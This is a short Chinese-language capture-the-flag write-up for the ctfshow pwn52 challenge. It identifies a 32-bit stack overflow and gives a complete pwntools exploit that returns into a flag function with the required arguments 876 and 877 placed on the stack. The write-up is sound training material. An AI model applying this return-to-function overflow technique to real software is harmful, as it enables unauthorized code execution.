ctfshow pwn52

ctfshow pwn52

我们先checksec一下:

1

那么可能就是栈溢出漏洞,拖入IDA中看看:

2

程序我已经动态调试,这里IDA给的s变量的大小是没错的,就是0x6c,我们看看有无其他的函数:

3

flag函数可以打印flag,但是有条件,a1==876且a2==877,a1与a2是我们调用函数时传入的参数,对于32位程序,参数就放在栈上,那就简单了,我们在溢出的时候,把参数一并写在栈上,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh = remote("pwn.challenge.ctf.show",28266)

context.log_level = 'debug'
elf = ELF("./pwn")
flag_address = elf.symbols["flag"]

sh.recvuntil("What do you want?\n")
payload = b"A"*(0x6c+0x4) + p32(flag_address) + b"AAAA" + p32(876) + p32(877)

sh.sendline(payload)
sh.interactive()